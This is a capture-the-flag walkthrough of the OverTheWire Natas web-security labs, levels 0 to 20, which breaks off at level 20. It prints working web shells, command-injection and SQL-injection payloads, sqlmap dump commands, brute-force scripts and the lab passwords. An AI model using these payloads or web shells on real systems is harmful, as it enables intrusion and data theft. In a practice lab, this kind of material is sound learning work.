root💀bl4ck4non-sec:~#

Hack. Eat. Sleep. Repeat!!!

View on GitHub

I will be solving the Natas Labs from OverTheWire. OverTheWire is a platform that can help you learn and practice security concepts in the form of fun-filled games.

PS: As I keep solving the labs, I’ll be adding them to this writeup

Lets get started

Level 0

image

Navigating to the webpage using the username and password provided

username:natas0 password:natas0

image

Viewing the source page,

image

We found the password for the next level.

Level 1

image

Navigating to the webpage and using the password we got from the previous level

username:natas1 password:g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

image

Right-clicking has been blocked, this means we can’t right-click on the webpage

image

To view the source page, you can use ctrl + u

image

cool, we found the password to the next level😎

Level 2

image

Navigating to the webpage and using the password we got from the previous level

username:natas2 password:h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7

image

Checking the source page,

image

From the above screenshot, you see this <img src="files/pixel.png">.

This is a png image, this means the image is located in the url http://natas2.natas.labs.overthewire.org/files/pixel.png, what if we were to go back a directory, we would then have http://natas2.natas.labs.overthewire.org/files. Navigating to the webpage, you have this

image

Viewing the users.txt file,

image

We have the password for the next level.

Level 3

image

Navigating to the webpage and using the password we got from the previous level

username:natas3 password:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

image

Viewing the source page,

image

Now that was a bold statement😂.

Well, navigating to the /robots.txt directory

image

Navigating to the /s3cr3t/ directory

image

Lets check out the users.txt file.

image

cool, we got the password for the next level.

Level 4

image

Navigating to the webpage and using the password we got from the previous level

username:natas4 password:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

image

To access the website successfully, we need to ensure that you are visiting it from the specified URL.

To do this, we’ll try to modify our request to include the correct source url.

image

We’ll be using the “Referer” header here

The Referer header in an HTTP request provides information about the URL of the previous webpage that linked to the current page. It helps websites and servers track the origin of incoming traffic and understand how users navigate through different webpages.

Modifying our request,

image

Cool, we found the passowrd for the next level.

Level 5

image

Navigating to the webpage and using the password we found in the previous level

username:natas5 password:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

image

It is saying here that we are not logged in. Lets capture the request using burpsuite

image

Looking at the captured request again;

image

For the cookie header, you see that loggedin has a value of 0.

What happens when we change that value to 1??

image

cool, we got the password for the next level😎

Level 6

image

Navigating to the webpage and using the password we found in the previous level

username:natas6 password:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

image

We are asked to provide a secret.

Well, let me try this secret, be sure not to tell anybody hehe. I am spiderman, inputting that secret

image

As you can see we got an error message.

Viewing the source page;

image

We got this php code

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Explaining the code

1.It includes the contents of the file "includes/secret.inc" using the include statement. This allows the code to access variables or functions defined in that file.
2.It checks if the "submit" key exists in the $_POST superglobal array, indicating that a form has been submitted via the HTTP POST method.
3.If the "submit" key exists, it compares the value of the $secret variable with the value of the 'secret' field submitted through the form ($_POST['secret']).
4.If the values match, it prints the message "Access granted. The password for natas7 is <censored>". This suggests that upon successful submission of the correct secret, it reveals the password for the "natas7" user.
5.If the values do not match, it prints the message "Wrong secret", indicating that the submitted secret is incorrect.

Now, lets navigate to the directory /includes/secret.inc

image

oops, a blank page😰

Viweing the page source;

image

We found our secret hehe, submitting the secret should get us the password for the next level

image

Cool, we found the password for the next level

Level 7

image

Navigating to the webpage and using the password we got from the previous level

username:natas7 password:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

image

Viewing the page source;

image

We got a hint saying the password for the next level is in etc/natas_webpass/natas8

Going back to the webpage and clicking on Home,

image

From the url we can tell that there’s a possible LFI (Local File Inclusion) vulnerability, which can enable us to read files.

Lets try to read the /etc/passwd file

image

cool stuff😎

Now, using the hint they gave us earlier, lets get the password for the next level

image

Nice, we got the password for the next level

Level 8

image

Navigating to the webpage and using the password we got from the previous level

username:natas8 password:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

image

Viewing the source page I got this php code

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

Explaining the code

1. The encoded secret is stored in the variable $encodedSecret. It is a hexadecimal representation of the original secret.
2. The function encodeSecret($secret) is defined. This function takes a secret as input, performs three operations on it, and returns the result.
   a. The secret is base64 encoded using base64_encode($secret).
   b. The resulting base64 string is reversed using strrev().
   c. The reversed string is converted to its hexadecimal representation using bin2hex().
3. The code checks whether the form has been submitted (array_key_exists("submit", $_POST)). It assumes that there is an HTML form with an input field named "secret" and a submit button.
4. If the form has been submitted, the code compares the encoded secret generated from the submitted secret with the original encoded secret (encodeSecret($_POST['secret']) == $encodedSecret).
5. If the comparison is true, it prints the message "Access granted. The password for natas9 is <censored>," where <censored> indicates that the password is intentionally hidden.
6. If the comparison is false, it prints the message "Wrong secret."

Taking the encodedsecret 3d3d516343746d4d6d6c315669563362, since it is hex encoded, lets decode it using cyberchef

image

Now, we’ll try to use the strrev() function to reverse the base64 we got. For this we’ll use a python script

import base64

def reverse_base64(encoded_base64):

    # Step 1: Reverse the decoded bytes
    reversed_bytes = encoded_base64[::-1]

    # Step 2: Decode the Base64 string
    decoded_bytes = base64.b64decode(reversed_bytes)

    # Step 3: Encode the reversed bytes back to Base64
    reversed_base64 = base64.b64encode(decoded_bytes).decode()

    return reversed_base64

# Example usage
encoded_base64 = "==QcCtmMml1ViV3b"
reversed_base64 = reverse_base64(encoded_base64)
print(reversed_base64)

After running the script, you should get this

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ python abeg.py
b3ViV1lmMmtCcQ==

Now, lets go ahead and decode this base64

command:echo "b3ViV1lmMmtCcQ==" | base64 -d

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ echo "b3ViV1lmMmtCcQ==" | base64 -d
oubWYf2kBq

Applying the output we got as the secret, that is oubWYf2kBq

image

Cool, we got the password for the next level

Level 9

image

Navigating to the webpage and using the password we got from the previous level

username:natas9 password:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

image

Viewing the source code we get this php code

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

Explaining this code

1. The script initializes an empty variable named $key.
2. It checks if the "needle" parameter exists in the request using array_key_exists("needle", $_REQUEST).
3. If the "needle" parameter is found, its value is assigned to the $key variable.
4. The script checks if $key is not an empty string.
5. If $key is not empty, it executes a shell command using passthru().
6. The shell command being executed is grep -i $key dictionary.txt, which searches for the value of $key (case-insensitive) in the file named "dictionary.txt".
7. If there are any matches found in the dictionary file, the results will be displayed as the output.

So, this basically executes our commands for us. Lets find the word “password”

image

Now, this looks like a possible command injection vulnerability where you can pass other commands.

For example, to read the /etc/passwd file, we can use this password;cat/etc/passwd, so what happens here is that the shell interprets the command as 2 separate commands, grep -i password and cat /etc/passwd. The grep searches for the word password in the dictionary.txt file, while the cat command displays the content of the /etc/passwd file.

Trying it out;

image

It worked, now lets try to read the password for the next level from /etc/natas_webpass/natas10

command:password;cat /etc/natas_webpass/natas10

image

Cool, we got the password for the next level.

Level 10

image

Navigating to the webpage and using the password we got from the previous level

username:natas10 password:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

image

oops, they now filter characters which means it won’t accept the input it did earlier.

Viewing the source code I got this php code;

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

This code is similar to the code from the previous level just that this one is more secured. It filters out special characters ;,| or &, which means we can’t use it.

Now, all hope is not lost hehe😎.

Since, this filters out special characters we can go ahead to use a string

For example,to read the /etc/passwd file, we can try somthing like this B /etc/passwd, what this does is that it runs the command as this grep -i B /etc/passwd dictionary.txt, this command attempts to search for the string “B”, in both the /etc/passwd file and the dictionary.txt. You should know that if the string B isn’t in the /etc/passwd file, it won’t show the output. So it is more like a trial and error stuff, that is, trying the letters till you get an output

Lets try it out

command:B /etc/passwd

image

It worked, now we can use this to read the password to use for the next level

command:A /etc/natas_webpass/natas11

image

Cool, we got the password for the next level.

Level 11

image

Navigating to the webpage and making use of the password we found in the previous level

username:natas11 password:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

image

Viewing the source code we get this php code

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);

Explaining the code

1. Default values for "showpassword" and "bgcolor" are defined in an array.
2. XOR encryption function is implemented.
3. Data is loaded from a cookie, decrypted, and validated.
4. Data is saved by encrypting and encoding it as a cookie.
5. The script loads data, either from the cookie or using default values.
6. If a valid "bgcolor" is provided in the request, it updates the data.
7. The updated data is saved as a cookie.

Also

?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

Explaining this code also

1. The code sets the background color of the page based on the $data['bgcolor'] value.
2. It mentions that cookies are protected with XOR encryption.
3. If $data["showpassword"] is "yes", it prints a censored message about the password for the next level (natas12).

Lets first get the cookie, inspecting element

image

So, that’s our cookie MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D, Url Decoding this using cyberchef should result in a base64 encoding

image

Cool, we got our cookie which is MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=. The next thing to do now is get the key

To get the key, we’ll be using this php script

<?php  

function xor_encrypt($in) {  
    $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));  
    $text = $in;  
    $outText = '';  
  
    // Iterate through each character  
    for($i=0;$i<strlen($text);$i++) {  
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  
    }  
  
    return $outText;  
}

$cookie="MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=";  
  
echo xor_encrypt(base64_decode($cookie));  
  
?>

This script takes a base64-encoded string ($cookie), decrypts it using XOR encryption with a predefined key, and then outputs the decrypted result

To run the script

command:php -f key.php

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ php -f key.php   
KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK

cool, we got our key which is KNHL. What we’ll do now is try to generate a new cookie using this key we got, during the explanation of the php codes we saw that if showpassword is set to yes then we’ll get the password to the next level printed out.

To generate a new cookie we’ll use this php script

 <?php  
  
function xor_encrypt($in) {  
    $key = 'KNHL';  
    $text = $in;  
    $outText = '';  
  
    // Iterate through each character  
    for($i=0;$i<strlen($text);$i++) {  
    $outText .= $text[$i] ^ $key[$i % strlen($key)];  
    }  
  
    return $outText;  
}  
  
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");  
  
echo base64_encode(xor_encrypt(json_encode($data)));  
  
?>  

The script encrypts a JSON-encoded string ($data) using XOR encryption with the key “KNHL”. It then base64-encodes the encrypted result and outputs the encoded string.

To run the script

command:php -f cookie.php

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ php -f cookie.php
MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz

We got a new cookie, replacing the previous cookie with this new generated one should get us the password to the next level

image image

Cool, we got the password to the next level

Level 12

image

Navigate to the webpage using the password we got from the previous level

username:natas12 password:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

image

Viewing the source code we get this php code

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

Explaining the code

1. Function genRandomString generates a random string of length 10.
2. Function makeRandomPath creates a unique random file path in a given directory with a specified extension.
3. Function makeRandomPathFromFilename generates a random file path based on a given directory and filename.
4. If the "filename" key exists in the form data:
   a. Generate a random file path using makeRandomPathFromFilename.
   b. Check if the uploaded file size exceeds 1000 bytes.
   c. If the file size is within limits, move the uploaded file to the target path.
   d. Display appropriate messages based on the success or failure of the file upload.
5. If the "filename" key doesn't exist, assume no file upload form was submitted.

I think we got ourselves here a file upload vulnerability

We’ll try uploading a .php file, since they aren’t always up to 1kb.

Save this payload <?php system($_GET['cmd']); ?> in a php file

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ nano abeg.php
                                                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ cat abeg.php 
<?php system($_GET['cmd']); ?>

Lets try to upload this

image

As you can see from the above screenshot, we uploaded a file named abeg.php, it got renamed and also got the extension changed to a .jpg extension.

Lets try to upload the same file again, but this time, we’ll intercept using burpsuite

image image

Lets modify this request by changing the .jpg extension to .php

image

Now, forward the request

image

Cool, now lets view our payload

image

Nice, we can get command injection through this by adding ?cmd=id to the back of the url

image

Now, lets get the password to the next level, this can be found at /etc/natas_webpass/natas13. To read the password add ?cmd=cat /etc/natas_webpass/natas13 at the back of the url

image

Cool. we got the password to the next level😎

Level 13

image

Navigating to the webpage and using the password we found from the previous level

username:natas13 password:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

image

Viewing the source code we get this php script

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

This code is similar to that of previous level, the difference is that only image files are accepted in this level. This means it won’t accept a .php extension file as it did in the previous level.

We can still find our way around it, right?? That’s why we are h4x0rs hehe😎

Doing some research I found this page.

We can use something as simple as this AAAA<?php system($_GET['cmd']); ?> to bypass restrictions. Save this in a .php file

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ gedit bankai.php
                                                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ cat bankai.php
AAAA<?php system($_GET['cmd']); ?>
                                                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ file bankai.php
bankai.php: ASCII text

Now, we’ll be using a tool called hexeditor to change the header of bankai.php to that of a .jpeg header.

image

From the above screenshot, you can see that the AAAA has the header 41 41 41 41, we’ll be changing the header to that of a .jpeg file. Checking it up online I got this FF D8 FF EE. So, let’s change the header to that

image

Now that we have changed the header, lets save it and exit (hit ctrl +x, then hit the enter button to exit).

Lets check the file type again

command:file bankai.php

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ hexeditor bankai.php
                                                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ file bankai.php 
bankai.php: JPEG image data

Cool, we were able to change the headers. This means we can go ahead to upload this

image

Just as we did in the previous level, we’ll be using burpsuite to modify the file extension from .jpg to .php

image

Forward the request,

image

Nice, now lets view our payload

image

Nice, we can get command injection through this by adding ?cmd=id to the back of the url

image

Now, lets get the password to the next level, this can be found at /etc/natas_webpass/natas14. To read the password add ?cmd=cat /etc/natas_webpass/natas14 at the back of the url

image

Cool, we got the password to the next level

Level 14

image

Navigating to the webpage and using the password we got from the previous level

username:natas14 password:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

image

Checking the source code, we find this php script

<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

Explaining the code

1. The script checks if the "username" key exists in the user input.
2. It establishes a connection to a MySQL database.
3. A SQL query is constructed using user-supplied "username" and "password" values without proper sanitization.
4. If the "debug" key is present, the executed query is displayed (a potential security risk).
5. The query is executed, and if it returns any rows, a successful login message is echoed.
6. If the login fails (no rows returned), an "Access denied" message is displayed.
7. The database connection is closed.

From the source code we get the sql query to be this

SELECT * from users where username="<username>" and password="<password>"

You’ll notice that the user input is not being filtered, which means we can use escape characters to make the query act differently than it should be

To bypass the login page

username:" '1'='1'# password:aaa

image image

Cool, we got the password for the next level

Level 15

image

Navigate to the webpage and use the password we got from the previous level

username:natas15 password:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

image

Checking the source code

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

Explaining the code

1. The script checks if the provided "username" exists in the "users" table.
2. It establishes a connection to a MySQL database using credentials.
3. A SQL query is constructed to select rows from the "users" table based on the "username" column.
4. If the "debug" key is present, the executed query is displayed (for debugging purposes).
5. The query is executed, and if there are rows returned, it indicates that the user exists.
6. If no rows are returned, it indicates that the user doesn't exist.
7. If an error occurs during the query execution, an error message is displayed.
8. The database connection is closed

The sql query from then source code is SELECT * FROM users WHERE username="<username>"

Lets try the username natas16 to see if it exists

image image

Now, this is a boolean-based SQLi. Lets prepare a payload that returns a true value

payload:" or '1'='1'#

image image

We’ll be using sqlmap to dump the database.

First, capture the request on burpsuite and save it in a file, say req.txt

image image

Using sqlmap;

command:sqlmap -r req.txt --level=5 --risk=3 -D natas15 -T users -C username,password --dump

Let me explain this command

-r --> This tells sqlmap to use the request stored in req.txt file as the basis for analysis
-D --> Database name which is natas15 (Saw this from the source code)
-T --> Table name which is users (Got this from the sql query)
-C --> Column names which are username and password (Got this also from the sql query)
--dump --> This option tells sqlmap to dump the contents of the selected columns
--risk=3 --> This option sets the risk factor to 3, indicating a high-risk level for the injection attack
--level=5 --> This option sets the level of tests to be performed by SQLMap to the highest level, which is 5

Running the command;

image image

Cool, we got the password for the next level

Level 16

image

Navigating to the webpage and using the password we got from the previous level

username:natas16 passwordTRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

image

Viewing the source code we get this php code

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

This code is similar to the one in in level 10, it’s just that this code is more secured. It filters out more special characters. One thing I noticed is that it didn’t filter out the character $,) and (.

Trying this command $(sleep 10) made me realize I was dealing with a blind command injection. When you run that command, you’ll notice that it’ll take the webpage exactly 10 seconds to return an output

image image

We can go ahead to inject code

command:$(echo person)

image

If you recall when we solved level 10 we had to check if the character exists in the file, well this is similar

So, does /etc/natas_webpass/natas17 contains the letter a??

To test this we can try the conmand person$(grep a /etc/natas_webpass/natas17) if the letter is present in the file the output will be empty, if the letter isn’t present the output will be person

image

As, you can see there’s an output

Lets try for the letter b

command:person$(grep b /etc/natas_webpass/natas17)

image

As you can see, there’s no output. This means the letter b is present in the /etc/natas_webpass/natas17 file.

We’ll be using a python script to get the full password to the next level

#!/bin/python
import requests,string

url = "http://natas16.natas.labs.overthewire.org"
auth_username = "natas16"
auth_password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"

characters = ''.join([string.ascii_letters,string.digits])

password = []
for i in range(1,34):
    for char in characters:
        uri = "{0}?needle=$(grep -E ^{1}{2}.* /etc/natas_webpass/natas17)hackers".format(url,''.join(password),char)
        r = requests.get(uri, auth=(auth_username,auth_password))
        if 'hackers' not in r.text:
            password.append(char)
            print(''.join(password))
            break
        else: continue

   break
The Python code performs a blind-based SQL injection attack to extract the password character by character from a target web application. It iterates through a character set and constructs URLs with injection payloads. By analyzing the response, it determines whether each character is part of the password and appends it to the password list. The code continues this process until the complete password is retrieved

Save the script in a file and run it

image

Cool, we got the password to the next level

Level 17

image

Navigating to the webpage and using the password we got from the previous level

username:natas17 password:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

image

Viewing the source code;

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

Explaining the code

1. It connects to a MySQL database and selects the "natas17" database.
2. The code constructs a SQL query to retrieve records from the "users" table based on the provided username.
3. If the query execution is successful, it checks if any rows are returned.
4. The code does not provide specific output for the existing or non-existing user cases.
5. Any query execution errors are not handled or displayed.

Lets try to see if user natas18 exists in the data

image image

As you can see, there was no output. If you recall when we were on Level 15 we had to solve a boolean-based SQLi. In this level we are dealing with a boolean-based blind SQLi or time-based blind SQLi. Unlike in boolean-based SQLi where we receive feedbacks, in boolean-based blind SQLi we inject malicious SQL code into the vulnerable web application, but do not receive direct feedback about the results of the injected queries.

We’ll be using sqlmap to dump te database

First, capture the request using burpsuite and save it in a file, say req.txt

image image

using sqlmap;

command:sqlmap -r req.txt --level=5 --risk=3 -D natas17 -T users -C username,password --dump

Explaining the command

-r --> This tells sqlmap to use the request stored in req.txt file as the basis for analysis
-D --> Database name which is natas15 (Saw this from the source code)
-T --> Table name which is users (Got this from the sql query)
-C --> Column names which are username and password (Got this also from the sql query)
--dump --> This option tells sqlmap to dump the contents of the selected columns
--risk=3 --> This option sets the risk factor to 3, indicating a high-risk level for the injection attack
--level=5 --> This option sets the level of tests to be performed by SQLMap to the highest level, which is 5

Running the command;

image image

Cool stuff, we got the password for the next level😎

Level 18

image

Navigating to the webpage and using the password we got from the previous level

username:natas18 password:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq

image

Viewing the source code;

image image image

Explaining this code

1. The initial part of the code sets a maximum ID value and defines several functions, such as isValidAdminLogin(), isValidID(), createID(), debug(), and my_session_start(). These functions handle tasks like checking if a login is valid, validating user IDs, creating session IDs, debugging output, and starting the session.
2. The print_credentials() function is responsible for displaying the user's credentials, either as an admin or a regular user.
3. The script checks if a session is already active by calling my_session_start(). If a session is active, it calls print_credentials() and sets $showform to false, indicating that the login form should not be displayed.
4. If a session is not active, it checks if the username and password parameters are present in the $_REQUEST superglobal. If so, it generates a session ID using createID() with the provided username, starts the session, and sets the $_SESSION["admin"] value based on the result of isValidAdminLogin(). It then calls print_credentials() and sets $showform to false.
5. If neither a session is active nor the username and password parameters are provided, the script assumes the user needs to log in and displays a login form.

Lets try to login with something random, say

username:BlackAnon password:groceriesandfloatingberries

image image

Okay, so we need to be logged in as the admin so as to be able to view the password we would be using for the next level.

Lets capture this request on burpsuite

image

Sending this over to burp repeater;

image

Take note of the PHPSESSID=330, checking the source code again, you’ll see this

image

This means the highest value PHPSESSID can hold is 640.

What we’ll do is that we’ll use burp intruder to get the correct PHPSESSID for the Admin user.

Send the request to burp intruder;

image image

Now, start the attack

image

From the above screenshot we can see that the payload 119 has a different length compared to the other payloads.

I think we just found the Admin user’s PHPSESSID hehe. Replacing the 330 with 119 we should be able to get the password that’ll help us in the next level

image

Cool, we got the password to the next level.

Level 19

image

Navigating to the webpage and using the password we found from the previous level

username:natas19 password:8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s

image

So, this level uses the same code as the previous level, the difference is just that in this level session IDs are no longer sequential

Lets use the previous creds we used in the previous level

username:BlackAnon password:groceriesandfloatingberries

image

Capturing the request on burpsuite;

image

Sending it over to repeater

image

As you can see the value for PHPSESSID is different unlike the one we saw in the previous level.

Lets try to decode this PHPSESSID using cyberchef

image

If you recall from the source code of the previous level we saw that $maxid = 640, so one thing we’ll try is to generate new PHPSESSID. To do this we’ll be using a python script

def number_to_blackanon_hex(number):
    if not 1 <= number <= 640:
        raise ValueError("Number must be between 1 and 640.")

    # Append "BlackAnon" to the number
    blackanon_string = str(number) + "-admin"

    # Convert the string to hexadecimal representation
    hex_representation = blackanon_string.encode().hex()

    return hex_representation

# Open the file in write mode
with open("phpsessid.txt", "w") as file:
    # Write the output for numbers from 1 to 640 to the file
    for number in range(1, 641):
        hex_result = number_to_blackanon_hex(number)
        line = f"{hex_result}\n"
        file.write(line)

print("Output has been written to phpsessid.txt")

The script takes numbers from 1 to 640, appends “-admin” to each number, converts them to hexadecimal representation, and writes the results to a file named “phpsessid.txt.”

save the script in a file and run it

┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ python phpsessid.py
Output has been written to phpsessid.txt
                                                                                                                                                                                                                                
┌──(bl4ck4non㉿bl4ck4non)-[~/Downloads/CTF/over_the_wire]
└─$ head phpsessid.txt    
312d61646d696e
322d61646d696e
332d61646d696e
342d61646d696e
352d61646d696e
362d61646d696e
372d61646d696e
382d61646d696e
392d61646d696e
31302d61646d696e

Lets capture the request again and send it over to burp intruder

image

We’ll go ahead to load the phpsessid.txt file

image

Now, start the attack

image

From the above screenshot we can see that 3238312d61646d696e has a different length compared to the other payloads

We already found the admin’s PHPSESSID hehe😎

Replacing the cookies

image

Cool stuff, we got the password to the next level

Level 20

image

Navigating to the webpage and using the password we got from the previous level

username:natas20 password:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH

image

Viewing the source code, we get this long php code

image

Explaining this code

1. The debug($msg) function is used for debugging and prints the provided message with the "DEBUG:" prefix if the "debug" key exists in the URL parameters.
